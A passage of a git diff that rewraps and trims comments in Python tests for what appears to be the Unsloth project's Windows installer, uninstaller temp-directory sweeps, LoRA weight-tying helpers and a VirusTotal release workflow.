VirusTotal summary"]assert vt.SUMMARY_HEADING in summary["run"], summary["run"]def test_the_summary_heading_holds_for_a_validation_only_run_too(self):- # `inputs.draft` defaults to true, and every uploading step is gated on- # it, so the ordinary dispatch validates and publishes nothing. A heading- # calling this a post-publish scan would tell a release operator the- # opposite of what happened, so the wording has to cover both.+ # `inputs.draft` defaults to true, and every uploading step is gated on it, so the ordinary dispatch validates+ # and publishes nothing. A heading calling this a post-publish scan would tell a release operator the opposite+ # of what happened, so the wording has to cover both.workflow = self._workflow()draft = workflow.get("on", workflow.get(True))["workflow_dispatch"]["inputs"]["draft"]assert draft["default"] is Truediff --git a/tests/python/test_vision_lora_targeting.py b/tests/python/test_vision_lora_targeting.pyindex cd92a6f1d8d..7d7a36abff3 100644--- a/tests/python/test_vision_lora_targeting.py+++ b/tests/python/test_vision_lora_targeting.py@@ -223,8 +223,8 @@ def test_tying_leaves_the_output_module_for_peft_to_reconstruct():both = ["embed_tokens", "lm_head"]assert _drop_tied_output_module(tied, both, True) == ["embed_tokens"]assert _drop_tied_output_module(tied, both, False) == both- # An untied model has no counterpart for PEFT to rebuild, so dropping lm_head there- # would leave the head the caller asked to train frozen.+ # An untied model has no counterpart for PEFT to rebuild, so dropping lm_head there would leave the head the caller+ # asked to train frozen.assert _drop_tied_output_module(untied, both, True) == both# Only a real pair is split: tying can be requested with no pair to tie, and dropping# the lone head would train nothing (or crash on None).@@ -365,12 +365,13 @@ def test_tying_normalizes_the_saved_embedding_to_its_bare_name():True,) == ["embed_tokens"]assert _drop_tied_output_module(tied, ["embed_tokens", "lm_head"], True) == ["embed_tokens"]- # Untouched when tying does not apply, and non-embedding names keep their full path.+ # Untouched when tying does not apply.assert _drop_tied_output_module(tied,["model.embed_tokens", "lm_head"],False,) == ["model.embed_tokens", "lm_head"]+ # Non-embedding names keep their full path.assert _drop_tied_output_module(tied,["model.embed_tokens", "lm_head", "custom.score"],@@ -387,11 +388,9 @@ def test_tying_needs_the_input_embedding_saved():assert _effective_weight_tying(tied, ["embed_tokens", "lm_head"], None) is Trueassert _effective_weight_tying(tied, ["embed_tokens"], True) is Trueassert _effective_weight_tying(tied, ["model.embed_tokens"], True) is True- # No input embedding to tie from.assert _effective_weight_tying(tied, ["lm_head"], True) is Falseassert _effective_weight_tying(tied, None, True) is Falseassert _effective_weight_tying(tied, ["score"], True) is False- # Nothing to reconstruct on an untied model, however it is asked for.assert _effective_weight_tying(untied, ["embed_tokens", "lm_head"], True) is False# An explicit False always wins.assert _effective_weight_tying(tied, ["embed_tokens", "lm_head"], False) is Falsediff --git a/tests/python/test_windows_arm64_python_choice.py b/tests/python/test_windows_arm64_python_choice.pyindex 12409b83df6..176c168646f 100644--- a/tests/python/test_windows_arm64_python_choice.py+++ b/tests/python/test_windows_arm64_python_choice.py@@ -115,9 +115,8 @@ if ($found) {{ Write-Output "$($found.Version)|$($found.Arch)" }} else {{ Write-def _pwsh(script: str) -> str:- # Every ARM64 case below is decided by the one "version|arch" line this run prints,- # and check = True means a pwsh that aborts at startup would surface as the resolver- # block itself throwing.+ # Every ARM64 case below is decided by the one "version|arch" line this run prints, and check = True means a pwsh+ # that aborts at startup would surface as the resolver block itself throwing.result = run_pwsh(["pwsh", "-NoProfile", "-NonInteractive", "-Command", script],check = True,diff --git a/tests/python/test_windows_git_gate.py b/tests/python/test_windows_git_gate.pyindex 7ff8b274353..328a12f3a22 100644--- a/tests/python/test_windows_git_gate.py+++ b/tests/python/test_windows_git_gate.py@@ -69,9 +69,9 @@ Write-Output $gitNeededdef _needs_git(env: dict[str, str]) -> bool:merged = {k: v for k, v in os.environ.items() if not k.startswith(("UNSLOTH_", "STUDIO_"))}merged.update(env)- # run_pwsh, not subprocess.run: every case in this file goes through here, so a pwsh- # that died at startup would come back as $gitNeeded computing the wrong answer for- # one environment. See tests/_shared/unsloth_pwsh_runner.py.+ # run_pwsh, not subprocess.run: every case in this file goes through here, so a pwsh that died at startup would come+ # back as $gitNeeded computing the wrong answer for one environment.+ # See tests/_shared/unsloth_pwsh_runner.py.result = run_pwsh(["pwsh", "-NoProfile", "-NonInteractive", "-Command", _script()],check = True,@@ -91,9 +91,7 @@ pwsh_only = pytest.mark.skipif(shutil.which("pwsh") is None, reason = "PowerShel[# The consumer install: prebuilt wheels and a prebuilt llama.cpp, so no git.({}, False),- # --local clones unsloth-zoo.({"STUDIO_LOCAL_INSTALL": "1"}, True),- # Opt-in source builds clone llama.cpp.({"UNSLOTH_LLAMA_FORCE_COMPILE": "1"}, True),({"UNSLOTH_LLAMA_PR": "1234"}, True),# PR_FORCE only forces a build for a positive integer.@@ -125,9 +123,9 @@ def test_a_built_local_llama_dir_drops_the_source_build_git_requirement(tmp_path@pwsh_only@pytest.mark.parametrize("trigger", ["UNSLOTH_LLAMA_FORCE_COMPILE", "UNSLOTH_LLAMA_PR"])def test_an_unbuilt_local_llama_dir_still_requires_git(tmp_path, trigger):- # Nothing built at the canonical install location falls through to the normal install,- # so the source build still runs and still needs git. Suppressing the requirement here- # let a no-git host silently degrade to a prebuilt instead.+ # Nothing built at the canonical install location falls through to the normal install, so the source build still+ # runs and still needs git. Suppressing the requirement here let a no-git host silently degrade to a prebuilt+ # instead.env = {"UNSLOTH_LOCAL_LLAMA_CPP_DIR": str(tmp_path),trigger: "1",diff --git a/tests/python/test_windows_installer_addtype_fallback.py b/tests/python/test_windows_installer_addtype_fallback.pyindex 3bf0a014f27..dbe7bd8cc1e 100644--- a/tests/python/test_windows_installer_addtype_fallback.py+++ b/tests/python/test_windows_installer_addtype_fallback.py@@ -36,8 +36,7 @@ INSTALL_PS1 = REPO_ROOT / "install.ps1"requires_pwsh = pytest.mark.skipif(shutil.which("pwsh") is None, reason = "PowerShell is unavailable")-# Stands in for every Add-Type in install.ps1 that compiles C# rather than loading-# an assembly.+# Stands in for every Add-Type in install.ps1 that compiles C# rather than loading an assembly.SABOTAGE = ("""function Add-Type { throw "(0) : error CS2001: Source file 'a.0.cs' could not be found" }""")@@ -80,19 +79,17 @@ LOCK_CHAIN = (def _run_powershell(script: str, env: dict[str, str] | None = None) -> subprocess.CompletedProcess:- # Through a FILE, not -Command: these scripts carry the whole extracted helper- # chain, and Windows caps a command line at 32767 characters. Passed inline,- # the moment the chain grows past that every test here dies as WinError 206- # rather than testing anything. utf-8-sig because Windows PowerShell 5.1 reads- # a BOM-less .ps1 as ANSI; utf-8 with replacement on the way back because the- # default console codepage there cannot decode what PowerShell writes.+ # Through a FILE, not -Command: these scripts carry the whole extracted helper chain, and Windows caps a command+ # line at 32767 characters. Passed inline, the moment the chain grows past that every test here dies as WinError 206+ # rather than testing anything. utf-8-sig because Windows PowerShell 5.1 reads a BOM-less .ps1 as ANSI; utf-8 with+ # replacement on the way back because the default console codepage there cannot decode what PowerShell writes.handle, name = tempfile.mkstemp(suffix = ".ps1")os.close(handle)try:Path(name).write_text(script, encoding = "utf-8-sig")- # run_pwsh, not subprocess.run: every test in this file reads this result as- # "did the Add-Type fallback chain survive", and an interpreter that aborted at- # startup produces the same empty stdout as a helper that never ran its fallback.+ # run_pwsh, not subprocess.run: every test in this file reads this result as "did the Add-Type fallback chain+ # survive", and an interpreter that aborted at startup produces the same empty stdout as a helper that never ran+ # its fallback.# See tests/_shared/unsloth_pwsh_runner.py.return run_pwsh(["pwsh", "-NoProfile", "-NonInteractive", "-ExecutionPolicy", "Bypass", "-File", name],@@ -177,8 +174,7 @@ Write-Output "CALLS:$global:AddTypeCalls"))assert result.returncode == 0, result.stderr- # One attempt, one retry with a private %TEMP%, then cached: the scan below- # resolves a path per running process.+ # One attempt, one retry with a private %TEMP%, then cached: the scan below resolves a path per running process.assert _lines(result, "CALLS:") == ["CALLS:2"]@@ -233,7 +229,6 @@ Write-Output "TEMP:$env:TEMP"env = env,)assert result.returncode == 0, result.stderr- # One failed attempt, then one retry with a private %TEMP%, which succeeds.assert _lines(result, "ATTEMPTS:") == ["ATTEMPTS:2"]assert _lines(result, "LOADED:") == ["LOADED:True"]assert not [line for line in result.stdout.splitlines() if "native path resolver" in line]@@ -241,8 +236,8 @@ Write-Output "TEMP:$env:TEMP"assert _lines(result, "TMP:") == [f"TMP:{dead}"]assert _lines(result, "TEMP:") == [f"TEMP:{dead}"]assert list((local_app_data / "Unsloth Studio" / "temp").glob("ust-*")) == []- # The P/Invoke targets kernel32, so off Windows the type loads but the CALL- # fails; it has to degrade to a usable answer rather than throw.+ # The P/Invoke targets kernel32, so off Windows the type loads but the CALL fails; it has to degrade to a usable+ # answer rather than throw.assert _lines(result, "PATH:")[0].startswith("PATH:")assert _lines(result, "PATH:") != ["PATH:"]@@ -311,8 +306,8 @@ Write-Output "NULL:$($null -eq $answer)"))assert result.returncode == 0, result.stderr- # Without exact resolution two spellings may still be one directory; $null makes- # the caller take BOTH runtime locks, where $false would silently drop one.+ # Without exact resolution two spellings may still be one directory; $null makes the caller take BOTH runtime+ # locks, where $false would silently drop one.assert _lines(result, "NULL:") == ["NULL:True"]@@ -348,8 +343,8 @@ Write-Output "AFTER:$(Test-StudioDirectoryUsable -Path '{good}')"@requires_pwshdef test_unusable_temp_is_replaced_and_then_restored(tmp_path: Path):- # Under a regular file so it cannot merely be created: the probe has to fail the- # way an ACL-restricted temp directory fails.+ # Under a regular file so it cannot merely be created: the probe has to fail the way an ACL-restricted temp+ # directory fails.blocker = tmp_path / "blocker"blocker.write_text("not a directory")env = os.environ.copy()@@ -384,11 +379,9 @@ Write-Output "KEPT:$(Test-Path -LiteralPath $replacement)"# Both, because Windows reads TMP before TEMP.assert _lines(result, "MATCHED:") == ["MATCHED:True"]assert _lines(result, "TMP:") == [f"TMP:{env['TMP']}"]- # TEMP was absent; restoring it as "" would change how every later child- # resolves its own temp directory.+ # TEMP was absent; restoring it as "" would change how every later child resolves its own temp directory.assert _lines(result, "TEMPSET:") == ["TEMPSET:False"]- # It survives on purpose: an autostarted Unsloth inherited it as its own %TEMP%,- # and the host's real one is broken. Stale ones are swept on the next run.+ # It survives on purpose: an autostarted Unsloth inherited it as its own %TEMP%, and the host's real one is broken.assert _lines(result, "KEPT:") == ["KEPT:True"]@@ -414,12 +407,10 @@ def _same_path(got: str, expected: str) -> bool:_NT_DEVICE_PREFIX = "\\??\\"_LIST = "$l=[System.Collections.Generic.List[string]]::new(); {0}; $l"-# What (Get-Item).Target actually hands back. 5.1 returns a COLLECTION, not a-# string and not an [array] either, so a container test naming one type lets the-# real one fall through and be space-joined. Junctions store the NT device form;-# system junctions and Store AppExecLinks report nothing. None of these shapes can-# be produced on Linux, so Get-Item is stubbed and the paths are POSIX-style; see-# _same_path for why the comparison cannot be a string equality.+# What (Get-Item).Target actually hands back. 5.1 returns a COLLECTION, not a string and not an [array] either, so a+# container test naming one type lets the real one fall through and be space-joined. Junctions store the NT device+# form; system junctions and Store AppExecLinks report nothing. None of these shapes can be produced on Linux, so+# Get-Item is stubbed and the paths are POSIX-style; see _same_path for why the comparison cannot be a string equality._TARGET_SHAPES = [("generic collection", _LIST.format('$l.Add("/real/target")'), "/real/target"),(@@ -659,8 +650,7 @@ def test_final_normalization_strips_every_extended_prefix():assert "$resolved.Substring(4)" in bodygate = (REPO_ROOT / "unsloth_cli" / "_studio_runtime_gate.py").read_text(encoding = "utf-8")- # The two sides have to agree about which prefixes come off, and there are- # exactly two rules on the Python side.+ # The two sides have to agree about which prefixes come off, and there are exactly two rules on the Python side.assert 'resolved.startswith("\\\\\\\\?\\\\UNC\\\\")' in gateassert "resolved = resolved[4:]" in gateassert "Volume{" not in gate@@ -700,7 +690,6 @@ def test_the_installer_and_the_runtime_gate_normalize_alike(resolved: str, expecgot = _lines(result, "OUT:")[0][len("OUT:") :]assert got == expected- # And the same input through the Python gate's own rules.import importlib.utilspec = importlib.util.spec_from_file_location(@@ -805,7 +794,6 @@ def test_the_sweep_keeps_a_directory_whose_owner_is_still_running(tmp_path: Path(live / "in-use.txt").write_text("a live process owns this", encoding = "utf-8")abandoned = root / f"ust-{_DEAD_PID}-01d01d01"abandoned.mkdir()- # Recorded, not guessed: an unrecorded owner is now treated as unknown.(abandoned / "owner.pid").write_text(str(_DEAD_PID), encoding = "utf-8")aged = time.time() - 3 * 24 * 3600@@ -918,9 +906,9 @@ def test_an_undeletable_probe_file_is_reclaimed_next_time(tmp_path: Path):stale.write_text("left by a run that could not delete it", encoding = "utf-8")fresh = good / "unsloth-probe-cafebabe.tmp"fresh.write_text("another process is using this right now", encoding = "utf-8")- # Same prefix, same suffix, not the shape the probe writes. This sweep runs in- # the HOST's temp directory, so a name that merely starts the same way is- # somebody else's file however old it is.+ # Same prefix, same suffix, not the shape the probe writes.+ # This sweep runs in the HOST's temp directory, so a name that merely starts the same way is somebody else's file+ # however old it is.theirs = good / "unsloth-probe-report.tmp"theirs.write_text("not ours", encoding = "utf-8")theirs_long = good / "unsloth-probe-deadbeefcafe.tmp"@@ -1017,12 +1005,11 @@ def test_the_sweep_only_takes_directories_the_allocator_could_have_made(tmp_pathours = root / f"ust-{_DEAD_PID}-abcdef01"ours.mkdir()- # Recorded, not guessed: an unrecorded owner is now treated as unknown.(ours / "owner.pid").write_text(str(_DEAD_PID), encoding = "utf-8")(ours / "scratch.bin").write_text("x", encoding = "utf-8")keep = []- # Case-insensitively ours: Windows filenames are case-insensitive, so refusing- # the uppercase spelling would leak a directory we created.+ # Case-insensitively ours: Windows filenames are case-insensitive, so refusing the uppercase spelling would leak a+ # directory we created.upper = root / f"ust-{_DEAD_PID}-ABCDEF01"upper.mkdir()(upper / "owner.pid").write_text(str(_DEAD_PID), encoding = "utf-8")@@ -1136,11 +1123,10 @@ def test_the_stale_sweep_never_deletes_through_a_link(tmp_path: Path):precious = tmp_path / "precious"precious.mkdir()(precious / "keepme.txt").write_text("do not delete", encoding = "utf-8")- # A dead owner PID, or the sweep keeps the directory for the live process its- # name says owns it; that case is the test below.+ # A dead owner PID, or the sweep keeps the directory for the live process its name says owns it; that case is the+ # test below.stale = root / f"ust-{_DEAD_PID}-01d01d01"stale.mkdir()- # Recorded, not guessed: an unrecorded owner is now treated as unknown.(stale / "owner.pid").write_text(str(_DEAD_PID), encoding = "utf-8")(stale / "junk").write_text("x", encoding = "utf-8")fresh = root / f"ust-{_DEAD_PID}-0e0e0e0e"@@ -1157,10 +1143,9 @@ def test_the_stale_sweep_never_deletes_through_a_link(tmp_path: Path):try:os.utime(link, (aged, aged), follow_symlinks = False)except (NotImplementedError, OSError):- # Windows has no follow_symlinks=False for utime, and aging the link any- # other way writes THROUGH it, leaving the link fresh so the sweep skips it.- # The 5.1 staging probe ages the reparse point via a- # FILE_FLAG_OPEN_REPARSE_POINT handle instead.+ # Windows has no follow_symlinks=False for utime, and aging the link any other way writes THROUGH it, leaving+ # the link fresh so the sweep skips it.+ # The 5.1 staging probe ages the reparse point via a FILE_FLAG_OPEN_REPARSE_POINT handle instead.pytest.skip("this host cannot age a link without writing through it")result = _run_powershell(@@ -1227,8 +1212,8 @@ def test_the_private_temp_directory_is_somewhere_uninstall_reclaims():# LOCALAPPDATA\"Unsloth Studio" is the data dir uninstall.ps1 removes wholesale.assert 'Join-Path $env:LOCALAPPDATA "Unsloth Studio\\temp"' in rootsassert '"Unsloth Studio"' in uninstall- # ~\.unsloth\.cache is on its explicit sibling list. Directly under ~\.unsloth- # would be worse: that directory is removed only when it is empty.+ # ~\.unsloth\.cache is on its explicit sibling list. Directly under ~\.unsloth would be worse: that directory+ # is removed only when it is empty.assert 'Join-Path $env:USERPROFILE ".unsloth\\.cache\\temp"' in rootsassert ('$defaultCache = if ($defaultUnslothHome) { Join-Path $defaultUnslothHome ".cache" }'@@ -1236,18 +1221,16 @@ def test_the_private_temp_directory_is_somewhere_uninstall_reclaims():)assert ".unsloth\\temp" not in roots- # The GetFolderPath fallback is the whole point of the second root: LOCALAPPDATA- # is dropped in service and CI contexts. The uninstaller has to resolve the data- # dir the same way, or the tree it places there survives an uninstall on exactly- # the hosts that needed the fallback.+ # The GetFolderPath fallback is the whole point of the second root: LOCALAPPDATA is dropped in service and CI+ # contexts. The uninstaller has to resolve the data dir the same way, or the tree it places there survives an+ # uninstall on exactly the hosts that needed the fallback.assert '[Environment]::GetFolderPath("LocalApplicationData")' in roots- # And it has to consider BOTH spellings rather than the first that answers:- # install.ps1 falls through from a set-but-unusable LOCALAPPDATA to the known- # folder, so the variable being non-blank does not say where the tree landed.+ # And it has to consider BOTH spellings rather than the first that answers: install.ps1 falls through from a+ # set-but-unusable LOCALAPPDATA to the known folder, so the variable being non-blank does not say where the tree+ # landed.assert "foreach ($root in @($env:LOCALAPPDATA, $knownLocalAppData)) {" in uninstall- # And the second spelling gets the TEMP TREE ONLY. It can name a different- # user's profile, and the data-dir delete is recursive with no ownership- # sentinel, so widening that to both roots would have been the larger bug.+ # And the second spelling gets the TEMP TREE ONLY. It can name a different user's profile, and the data-dir+ # delete is recursive with no ownership sentinel, so widening that to both roots would have been the larger bug.assert 'Join-Path $root "Unsloth Studio\\temp"' in uninstallassert "_RemoveStudioPrivateTempTrees -Paths $privateTempDirs" in uninstallassert "foreach ($d in $defaultDataDirs)" not in uninstall@@ -1269,7 +1252,6 @@ def test_the_uninstall_sweep_leaves_a_live_owner_and_never_follows_a_link(tmp_pa'$ErrorActionPreference = "Stop"\nfunction _Substep { param([string]$Msg, [string]$Color) }')- # 1. A live owner is left alone; a dead one goes.temp = tmp_path / "Unsloth Studio" / "temp"temp.mkdir(parents = True)live = temp / "ust-1234-abcdef01"@@ -1294,7 +1276,6 @@ def test_the_uninstall_sweep_leaves_a_live_owner_and_never_follows_a_link(tmp_paassert (live / "owner.pid").exists(), "a live owner's temp was removed"assert not dead.exists()- # 2. A linked temp directory is refused outright.victim = tmp_path / "victim"victim.mkdir()(victim / "ust-1234-abcdef03").mkdir()@@ -1331,9 +1312,8 @@ def test_a_live_owner_survives_the_data_directory_removal(tmp_path: Path):"""uninstall = (REPO_ROOT / "scripts" / "uninstall.ps1").read_text(encoding = "utf-8")- # The order is a property of the script body, not of any one function, so it- # is checked as one: every wholesale data-dir removal is preceded by the- # sweep and carries what the sweep kept.+ # The order is a property of the script body, not of any one function, so it is checked as one: every wholesale+ # data-dir removal is preceded by the sweep and carries what the sweep kept.body = uninstall[uninstall.index("function Uninstall-UnslothStudio") :]calls = [line.strip()@@ -1421,8 +1401,8 @@ def test_a_link_high_above_another_profile_is_still_a_link(tmp_path: Path):'$ErrorActionPreference = "Stop"\nfunction _Substep { param([string]$Msg, [string]$Color) }')- # The real profile, with an Unsloth temp tree in it that belongs to a dead- # owner: nothing about the entries themselves protects them.+ # The real profile, with an Unsloth temp tree in it that belongs to a dead owner: nothing about the entries+ # themselves protects them.real = tmp_path / "real profile"real_temp = real / "localappdata" / "Unsloth Studio" / "temp"real_temp.mkdir(parents = True)@@ -1431,8 +1411,7 @@ def test_a_link_high_above_another_profile_is_still_a_link(tmp_path: Path):(stale / "owner.pid").write_text(str(_DEAD_PID), encoding = "utf-8")(stale / "precious.txt").write_text("another profile", encoding = "utf-8")- # Three levels above the temp directory, so neither it nor its parent is a- # link. Only a full walk sees this.+ # Three levels above the temp directory, so neither it nor its parent is a link. Only a full walk sees this.redirected = tmp_path / "redirected profile"redirected.symlink_to(real, target_is_directory = True)aliased = redirected / "localappdata" / "Unsloth Studio" / "temp"@@ -1587,7 +1566,6 @@ def test_the_uninstaller_reclaims_the_temp_tree_at_both_spellings(tmp_path: Pathdirs = [line[len("DIR:") :] for line in _lines(result, "DIR:")]assert len(dirs) == 2, dirsassert any(d.startswith(dead) for d in dirs), dirs- # The temp tree, not the data directory.assert all(d.rstrip("\\/").endswith("temp") for d in dirs), dirsassert len(set(dirs)) == len(dirs)@@ -1618,7 +1596,6 @@ def test_the_private_temp_removal_only_takes_what_it_created(tmp_path: Path):'$ErrorActionPreference = "Stop"',"function _Substep { param([string]$Msg, [string]$Color) }",block,- # The profile being uninstalled, so shape alone is enough here.f"_RemoveStudioPrivateTempTrees -Paths @('{temp}') -PrimaryPath '{temp}'",'Write-Output "DONE:1"',]@@ -1631,6 +1608,5 @@ def test_the_private_temp_removal_only_takes_what_it_created(tmp_path: Path):assert (temp / "ust-legacy").is_dir()assert (temp / "ust-notapid-abcdef01").is_dir()assert (temp / "somebody-elses").is_dir()- # And neither directory went, because neither was left empty.assert temp.is_dir()assert (data / "studio.port").exists()diff --git a/tests/python/test_windows_installer_concurrency_guard.py b/tests/python/test_windows_installer_concurrency_guard.pyindex 0f7c048b94d..ada52d64a6c 100644--- a/tests/python/test_windows_installer_concurrency_guard.py+++ b/tests/python/test_windows_installer_concurrency_guard.py@@ -35,10 +35,10 @@ def _extract(pattern: str, source: str) -> str:def _run_powershell(shell: str, script: str, env: dict[str, str]) -> str:- # Through a FILE, not -Command: these scripts carry the whole extracted helper- # chain, and Windows caps a command line at 32767 characters. Passed inline,- # the moment the chain grows past that every test here dies as WinError 206- # "The filename or extension is too long" instead of testing anything.+ # Through a FILE, not -Command: these scripts carry the whole extracted helper chain, and Windows caps a command+ # line at 32767 characters.+ # Passed inline, the moment the chain grows past that every test here dies as WinError 206 "The filename or+ # extension is too long" instead of testing anything.# utf-8-sig because Windows PowerShell 5.1 reads a BOM-less .ps1 as ANSI.handle, name = tempfile.mkstemp(suffix = ".ps1")os.close(handle)@@ -72,10 +72,9 @@ def _ps_file(directory: Path, name: str, script: str) -> str:return str(path)-# The chain Get-StudioFinalPath dispatches to. It used to compile the native helper-# inline, so a test could extract it alone; extracting the dispatcher by itself now-# yields a body whose calls are all undefined, which reads as "could not resolve"-# rather than as a missing helper (issue #9140).+# The chain Get-StudioFinalPath dispatches to. It used to compile the native helper inline, so a test could extract+# it alone; extracting the dispatcher by itself now yields a body whose calls are all undefined, which reads as+# "could not resolve" rather than as a missing helper (issue #9140)._FINAL_PATH_CHAIN = ("Write-StudioLine","Test-StudioDirectoryUsable",@@ -103,12 +102,10 @@ def _mutex_helpers(source: str) -> str:return "\n".join(_extract(rf" function {name} \{{.*?\n \}}\n", source)for name in (- # Test-StudioPathEqual reports an unresolvable identity through this,- # and these scripts run under -ErrorActionPreference Stop, so leaving it- # out made the CATCH path throw CommandNotFound and every test that- # reaches it fail for a reason that has nothing to do with what it- # measures. Extracted rather than stubbed: it is self-contained, and a- # stub would keep passing if the real call ever went wrong.+ # Test-StudioPathEqual reports an unresolvable identity through this, and these scripts run under+ # -ErrorActionPreference Stop, so leaving it out made the CATCH path throw CommandNotFound and every test+ # that reaches it fail for a reason that has nothing to do with what it measures. Extracted rather than+ # stubbed: it is self-contained, and a stub would keep passing if the real call ever went wrong."Write-StudioLine","Enter-StudioNamedMutex",# Get-StudioFinalPath is a dispatcher now: it falls back to the pure@@ -175,11 +172,9 @@ def test_running_venv_process_is_reported(tmp_path: Path, shell: str):shutil.copy2(Path(os.environ["SystemRoot"]) / "System32" / "PING.EXE", probe)creationflags = getattr(subprocess, "CREATE_NO_WINDOW", 0)- # Long enough that the child outlives the scan itself. Windows PowerShell 5.1- # pays a cold start plus a real csc.exe compile of the native helper before it- # can look at anything, which alone can outlast a six-ping child; the process- # would then be gone by the time the scan ran, and the test would read as- # "the in-use check missed it".+ # Long enough that the child outlives the scan itself. Windows PowerShell 5.1 pays a cold start plus a real csc.exe+ # compile of the native helper before it can look at anything, which alone can outlast a six-ping child; the process+ # would then be gone by the time the scan ran, and the test would read as "the in-use check missed it".child = subprocess.Popen([str(probe), "-n", "120", "127.0.0.1"],creationflags = creationflags,@@ -227,8 +222,8 @@ def test_x86_powershell_reports_64_bit_managed_process(tmp_path: Path):scripts.mkdir(parents = True)probe = scripts / "guard-probe.exe"shutil.copy2(Path(os.environ["SystemRoot"]) / "System32" / "PING.EXE", probe)- # Long-lived: a 32-bit shell pays a WOW64 start plus an Add-Type compile, so a- # short probe can exit before the scan runs.+ # Long-lived: a 32-bit shell pays a WOW64 start plus an Add-Type compile, so a short probe can exit before the scan+ # runs.child = subprocess.Popen([str(probe), "-n", "120", "127.0.0.1"],creationflags = getattr(subprocess, "CREATE_NO_WINDOW", 0),@@ -1104,9 +1099,8 @@ def test_the_extracted_helpers_can_call_everything_they_call(helpers):"""source = INSTALL_PS1.read_text(encoding = "utf-8")extracted = helpers(source)- # Every top-level installer function, i.e. everything the harness COULD be- # missing. A call to a cmdlet or to a function defined inside the scripts is- # not this test's business.+ # Every top-level installer function, i.e. everything the harness COULD be missing. A call to a cmdlet or to a+ # function defined inside the scripts is not this test's business.installer_functions = set(re.findall(r"^ function ([\w-]+) \{", source, flags = re.M))provided = set(re.findall(r"^ function ([\w-]+) \{", extracted, flags = re.M))assert provided, "the helper extraction produced nothing"diff --git a/tests/python/test_windows_no_torch_setup.py b/tests/python/test_windows_no_torch_setup.pyindex 7f078e29f29..110d4c9778b 100644--- a/tests/python/test_windows_no_torch_setup.py+++ b/tests/python/test_windows_no_torch_setup.py@@ -47,8 +47,8 @@ def test_windows_direct_torch_installs_are_skipped_in_no_torch_mode():):assert install_path in guarded- # The shared dependency pass installs the dedicated no-torch runtime and- # therefore must remain outside the direct torch/Triton guard.+ # The shared dependency pass installs the dedicated no-torch runtime and therefore must remain outside the direct+ # torch/Triton guard.assert 'python "$PSScriptRoot\\install_python_stack.py"' not in guarded@@ -98,31 +98,29 @@ def _no_torch_resolution_script() -> str:@pytest.mark.parametrize(("env_value", "manifest", "marker", "expected"),[- # The completion manifest is dropped before every dependency pass, so an- # install killed mid-pass leaves only the marker. Without it that venv is- # read as stale and the next update tries to delete itself.+ # The completion manifest is dropped before every dependency pass, so an install killed mid-pass leaves only the+ # marker. Without it that venv is read as stale and the next update tries to delete itself.(None, None, True, "True|true"),(None, {}, True, "True|true"),- # An explicit no_torch key still wins, so migrating out of no-torch is not- # blocked by a marker an earlier run left behind.+ # An explicit no_torch key still wins, so migrating out of no-torch is not blocked by a marker an earlier run+ # left behind.(None, {"no_torch": False}, True, "False|false"),(None, {"no_torch": True}, False, "True|true"),]+ [(env_value, manifest, False, expected)for env_value, manifest, expected in [- # `unsloth studio update` exports nothing, so the manifest decides. This is- # the case that made a GGUF-only venv look stale and get deleted.+ # `unsloth studio update` exports nothing, so the manifest decides.+ # This is the case that made a GGUF-only venv look stale and get deleted.(None, {"no_torch": True}, "True|true"),(None, {"no_torch": False}, "False|false"),- # Manifests written before the key existed, and unreadable ones, keep the- # pre-existing behaviour rather than switching an install to no-torch.+ # Manifests written before the key existed, and unreadable ones, keep the pre-existing behaviour rather than+ # switching an install to no-torch.(None, {}, "False|false"),(None, None, "False|false"),(None, "{not json", "False|false"),- # An explicit env var always wins over the recorded mode, in both- # directions, so `install.ps1 --no-torch` and a later migration out of- # no-torch both work regardless of what the venv used to be.+ # An explicit env var always wins over the recorded mode, in both directions, so `install.ps1 --no-torch`+ # and a later migration out of no-torch both work regardless of what the venv used to be.("false", {"no_torch": True}, "False|false"),("1", {"no_torch": False}, "True|true"),# Every spelling install.ps1 / install.sh accept collapses to one value.@@ -165,10 +163,10 @@ def test_no_torch_mode_survives_a_studio_update(tmp_path, env_value, manifest, mtext = True,env = env,)- # The exported value matters as much as $NoTorchMode: install_python_stack.py- # drops the manifest before it runs, so the env var is all it has to go on.+ # The exported value matters as much as $NoTorchMode: install_python_stack.py drops the manifest before it runs, so+ # the env var is all it has to go on.assert result.stdout.strip() == expected- # The resolution also persists what it decided, so the next run survives an- # install killed between here and the manifest being rewritten.+ # The resolution also persists what it decided, so the next run survives an install killed between here and the+ # manifest being rewritten.assert (venv_dir / ".unsloth-no-torch").exists() is expected.startswith("True")diff --git a/tests/python/test_windows_python_313_8_screen.py b/tests/python/test_windows_python_313_8_screen.pyindex f942a1f6260..4ee5a977c67 100644--- a/tests/python/test_windows_python_313_8_screen.py+++ b/tests/python/test_windows_python_313_8_screen.py@@ -93,8 +93,8 @@ $result = Remove-SkippedPython ({candidate})if ($null -eq $result) {{ Write-Output "RESULT: rejected" }}else {{ Write-Output "RESULT: kept" }}"""- # The whole verdict is the single RESULT line this script prints, so a pwsh that- # aborts at startup would read as a screen that reached the opposite conclusion.+ # The whole verdict is the single RESULT line this script prints, so a pwsh that aborts at startup would read as a+ # screen that reached the opposite conclusion.completed = run_pwsh(["pwsh", "-NoProfile", "-NonInteractive", "-Command", script],capture_output = True,@@ -121,8 +121,8 @@ def test_nothing_found_stays_nothing(tmp_path):def test_an_unreadable_interpreter_is_not_treated_as_bad(tmp_path):- # A probe that cannot run is not evidence of a bad version, and refusing it- # would send a working machine down the install path for no reason.+ # A probe that cannot run is not evidence of a bad version, and refusing it would send a working machine down the+ # install path for no reason.missing = tmp_path / "does-not-exist"skip_block, screen_block = _blocks()script = f"""@@ -169,8 +169,6 @@ def test_the_resolver_is_screened_at_every_entry_point():# `return (Find-CompatiblePython)`. Screening every candidate as it is# enumerated is what makes those safe, and is also what lets the resolver carry# on to its next minor instead of giving up on the machine.--def _every_version_match_screens_the_patch() -> list[str]:body = _extract(r" function Find-CompatiblePython \{.*?\n \}")lines = body.splitlines()@@ -201,12 +199,11 @@ def test_every_enumerated_candidate_is_screened():)-# The launcher below is a /bin/sh script. Windows has no shebang and no PATHEXT-# entry for an extensionless file, so `Get-Command py` does not find it and the-# resolver reports "none" whatever the versions are -- which would make the-# negative case pass for the wrong reason. The PowerShell under test is the same-# text on every platform, and pwsh runs it here, so these three cases run on-# POSIX and the rest of the file still covers Windows.+# The launcher below is a /bin/sh script.+# Windows has no shebang and no PATHEXT entry for an extensionless file, so `Get-Command py` does not find it and the+# resolver reports "none" whatever the versions are -- which would make the negative case pass for the wrong reason.+# The PowerShell under test is the same text on every platform, and pwsh runs it here, so these three cases run on POSIX+# and the rest of the file still covers Windows._POSIX_LAUNCHER_ONLY = 